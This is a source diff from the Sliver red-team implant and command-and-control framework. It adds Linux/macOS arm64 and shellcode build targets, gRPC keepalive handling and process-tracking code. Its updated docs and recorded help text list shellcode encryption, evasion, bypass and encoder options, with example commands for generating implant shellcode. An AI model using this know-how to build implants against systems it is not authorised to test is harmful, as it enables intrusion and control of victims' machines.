Description("Use space to select and enter to apply.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedIDs)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -60,6 +60,7 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -83,6 +84,8 @@ func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
|
||||
@@ -65,6 +65,7 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -88,6 +89,8 @@ func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, erro
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if result.OS == "darwin" || result.OS == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}, &result.OS).
|
||||
|
||||
@@ -44,6 +44,7 @@ func commonArchOptions(goos string) []huh.Option[string] {
|
||||
case "linux":
|
||||
return []huh.Option[string]{
|
||||
huh.NewOption("amd64", "amd64"),
|
||||
huh.NewOption("arm64", "arm64"),
|
||||
huh.NewOption("386", "386"),
|
||||
}
|
||||
default:
|
||||
@@ -64,6 +65,10 @@ func commonFormatOptions(goos string) []huh.Option[string] {
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if goos == "darwin" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
} else if goos == "linux" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}
|
||||
|
||||
@@ -2,13 +2,14 @@ package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
const defaultSelectHeight = 10
|
||||
const defaultSelectHeight = 5
|
||||
|
||||
func getTerminalWidth() int {
|
||||
// Try to get actual terminal width
|
||||
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
|
||||
field := huh.NewMultiSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
|
||||
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
|
||||
field := huh.NewSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
if required {
|
||||
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
|
||||
*value = options[0]
|
||||
return
|
||||
}
|
||||
for _, option := range options {
|
||||
if option == *value {
|
||||
return
|
||||
}
|
||||
if slices.Contains(options, *value) {
|
||||
return
|
||||
}
|
||||
*value = options[0]
|
||||
}
|
||||
|
||||
+18
-17
@@ -1,5 +1,23 @@
|
||||
package packages
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -10,23 +28,6 @@ import (
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
const (
|
||||
KeyValueSchemaName = "key-value"
|
||||
GroupedKeyValueSchemaName = "grouped-key-value"
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
package transport
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
"google.golang.org/grpc/keepalive"
|
||||
)
|
||||
|
||||
var (
|
||||
kaMu sync.RWMutex
|
||||
kaParams *keepalive.ClientParameters
|
||||
)
|
||||
|
||||
// SetKeepaliveParams configures gRPC keepalive pings for future MTLSConnect dials.
|
||||
// Behavior is unchanged unless this is called.
|
||||
func SetKeepaliveParams(p keepalive.ClientParameters) {
|
||||
kaMu.Lock()
|
||||
kaParams = &p
|
||||
kaMu.Unlock()
|
||||
}
|
||||
|
||||
func getKeepaliveParams() (keepalive.ClientParameters, bool) {
|
||||
kaMu.RLock()
|
||||
p := kaParams
|
||||
kaMu.RUnlock()
|
||||
if p == nil {
|
||||
return keepalive.ClientParameters{}, false
|
||||
}
|
||||
return *p, true
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"time"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
"google.golang.org/grpc/credentials"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -71,15 +72,36 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTransportCredentials(transportCreds),
|
||||
grpc.WithPerRPCCredentials(callCreds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
|
||||
if kp, ok := getKeepaliveParams(); ok {
|
||||
options = append(options, grpc.WithKeepaliveParams(kp))
|
||||
}
|
||||
|
||||
connection, err := grpc.NewClient(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
// Preserve the legacy grpc.DialContext + grpc.WithBlock behavior: block
|
||||
// until the channel becomes READY or the timeout expires.
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
for {
|
||||
state := connection.GetState()
|
||||
if state == connectivity.Idle {
|
||||
connection.Connect()
|
||||
}
|
||||
if state == connectivity.Ready {
|
||||
break
|
||||
}
|
||||
if !connection.WaitForStateChange(ctx, state) {
|
||||
_ = connection.Close()
|
||||
return nil, nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
return rpcpb.NewSliverRPCClient(connection), connection, nil
|
||||
}
|
||||
|
||||
@@ -120,7 +142,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert
|
||||
if err != nil {
|
||||
log.Printf("Failed to parse certificate: " + err.Error())
|
||||
log.Printf("Failed to parse certificate: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
panic("no root certificate")
|
||||
}
|
||||
if _, err := cert.Verify(options); err != nil {
|
||||
log.Printf("Failed to verify certificate: " + err.Error())
|
||||
log.Printf("Failed to verify certificate: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
||||
"level": 4,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
},
|
||||
"grpc": {
|
||||
"keepalive": {
|
||||
"min_time_seconds": 30,
|
||||
"permit_without_stream": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
|
||||
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
|
||||
- `grpc_unary_payloads` - Log gRPC unary payloads
|
||||
- `grpc_stream_payloads` - Log gRPC streaming payloads
|
||||
- `grpc` - An object containing options for the server gRPC stack
|
||||
- `keepalive` - gRPC keepalive enforcement configuration
|
||||
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
|
||||
- `permit_without_stream` - Allow client pings when there are no active streams
|
||||
|
||||
## Database Configuration
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
|
||||
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
|
||||
|
||||
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
|
||||
|
||||
@@ -37,7 +37,7 @@ Sliver automatically looks in the default paths for these cross-compilers; once
|
||||
|
||||
## From MacOS to Linux/Windows
|
||||
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
|
||||
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
|
||||
|
||||
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
|
||||
|
||||
|
||||
@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
|
||||
"level": 5,
|
||||
"grpc_unary_payloads": false,
|
||||
"grpc_stream_payloads": false
|
||||
},
|
||||
"grpc": {
|
||||
"keepalive": {
|
||||
"min_time_seconds": 30,
|
||||
"permit_without_stream": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -47,6 +47,7 @@ sliver > builders
|
||||
=============================== ========== =========== ============== ==========================
|
||||
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
|
||||
EXECUTABLE:linux/amd64
|
||||
EXECUTABLE:linux/arm64
|
||||
EXECUTABLE:windows/386
|
||||
EXECUTABLE:windows/amd64
|
||||
EXECUTABLE:darwin/amd64
|
||||
@@ -56,10 +57,14 @@ sliver > builders
|
||||
SHARED_LIB:darwin/amd64
|
||||
SHARED_LIB:darwin/arm64
|
||||
SHARED_LIB:linux/amd64
|
||||
SHARED_LIB:linux/arm64
|
||||
SERVICE:windows/386
|
||||
SERVICE:windows/amd64
|
||||
SHELLCODE:windows/386
|
||||
SHELLCODE:windows/amd64
|
||||
SHELLCODE:darwin/arm64
|
||||
SHELLCODE:linux/amd64
|
||||
SHELLCODE:linux/arm64
|
||||
```
|
||||
|
||||
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
|
||||
**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
|
||||
|
||||
## Overview
|
||||
|
||||
@@ -33,21 +33,33 @@ Name Platform Command & Control Debug Format
|
||||
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
||||
```
|
||||
|
||||
You can tune Donut options for Windows shellcode profiles:
|
||||
Shellcode generation varies by platform:
|
||||
|
||||
- `--donut-entropy`: 1=none, 2=random names, 3=random+encrypt
|
||||
- `--donut-compress`: enable/disable aplib compression (boolean)
|
||||
- `--donut-exitopt`: 1=exit thread, 2=exit process, 3=block
|
||||
- `--donut-bypass`: 1=none, 2=abort on failure, 3=continue
|
||||
- `--donut-headers`: 1=overwrite, 2=keep
|
||||
- `--donut-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
|
||||
- `--donut-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
|
||||
- `--donut-oep`: override original entry point (uint32, 0=default)
|
||||
- Windows shellcode uses Donut and supports all shellcode tuning flags below.
|
||||
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.
|
||||
|
||||
Shellcode options:
|
||||
|
||||
- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
|
||||
- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
|
||||
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
|
||||
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
|
||||
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
|
||||
- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
|
||||
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
|
||||
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
|
||||
- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --donut-entropy 2 --donut-compress --donut-exitopt 3 win-shellcode
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
|
||||
```
|
||||
|
||||
Linux example (compression only):
|
||||
|
||||
```
|
||||
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
|
||||
```
|
||||
|
||||
We can now create a staging listener and link it to the profile:
|
||||
|
||||
@@ -138,7 +138,7 @@
|
||||
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[14.182566, "o", "\u001b[0 q\r\n"]
|
||||
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
|
||||
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
|
||||
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
|
||||
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
|
||||
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
|
||||
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
@@ -623,7 +623,7 @@
|
||||
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[44.608789, "o", "\u001b[0 q\r\n"]
|
||||
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
|
||||
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
|
||||
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
|
||||
[44.630687, "o", "\r\n"]
|
||||
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
|
||||
+17
@@ -161,6 +161,14 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders / shellcode / arm64
|
||||
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / gogo / goname
|
||||
if go test -tags=server,$TAGS ./server/gogo/goname ; then
|
||||
:
|
||||
@@ -194,6 +202,15 @@ else
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / c2 / e2e (dns)
|
||||
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
|
||||
:
|
||||
else
|
||||
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
exit 1
|
||||
fi
|
||||
rm -rf "$SLIVER_ROOT_DIR_E2E"
|
||||
|
||||
# server / configs
|
||||
|
||||
@@ -30,7 +30,7 @@ require (
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
|
||||
github.com/klauspost/compress v1.18.1
|
||||
@@ -47,6 +47,8 @@ require (
|
||||
github.com/reeflective/readline v1.1.4
|
||||
github.com/rsteube/carapace v0.50.2
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/sliverarmory/beignet v0.0.2
|
||||
github.com/sliverarmory/malasada v0.0.2
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
@@ -275,7 +277,7 @@ require (
|
||||
github.com/mdlayher/socket v0.5.1 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
|
||||
github.com/moloch--/go-keystone v0.0.2 // indirect
|
||||
github.com/moloch--/go-keystone v0.0.2
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
|
||||
github.com/muesli/cancelreader v0.2.2 // indirect
|
||||
github.com/muesli/termenv v0.16.0 // indirect
|
||||
|
||||
@@ -423,6 +423,8 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
|
||||
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
|
||||
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
|
||||
@@ -661,8 +663,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
|
||||
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
|
||||
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
||||
github.com/sliverarmory/wasm-donut v0.0.2 h1:XAiV5MxDhSqnq4J45dZEM4u9JIN5aI1enhqNjiFGdtM=
|
||||
github.com/sliverarmory/wasm-donut v0.0.2/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
|
||||
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
|
||||
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
@@ -1096,5 +1100,3 @@ software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB
|
||||
software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
|
||||
tailscale.com v1.92.5 h1:h88HqtGk8jd9umF7l6m/8+QK69dY9IVMIlkNK9XYpvQ=
|
||||
tailscale.com v1.92.5/go.mod h1:jzTfKDd6XNNSNoX+Q9INIMpMU5rfZ9g8ojcAoMKi5w0=
|
||||
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
|
||||
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
|
||||
@@ -0,0 +1,204 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
maxTrackedExecuteChildren = 256
|
||||
)
|
||||
|
||||
type executeChildEntry struct {
|
||||
PID int32
|
||||
Path string
|
||||
Args []string
|
||||
Stdout string
|
||||
Stderr string
|
||||
StartTime int64
|
||||
|
||||
Exited bool
|
||||
ExitCode int32
|
||||
ExitTime int64
|
||||
Error string
|
||||
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
var (
|
||||
executeChildrenMu sync.RWMutex
|
||||
trackedExecuteChildren = map[int32]*executeChildEntry{}
|
||||
)
|
||||
|
||||
func trimTrackedExecuteChildrenLocked() {
|
||||
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
|
||||
return
|
||||
}
|
||||
|
||||
// Prefer trimming completed entries first, oldest exit time first.
|
||||
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
if entry.Exited {
|
||||
exited = append(exited, entry)
|
||||
}
|
||||
}
|
||||
sort.Slice(exited, func(i, j int) bool {
|
||||
return exited[i].ExitTime < exited[j].ExitTime
|
||||
})
|
||||
|
||||
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
|
||||
delete(trackedExecuteChildren, exited[0].PID)
|
||||
exited = exited[1:]
|
||||
}
|
||||
}
|
||||
|
||||
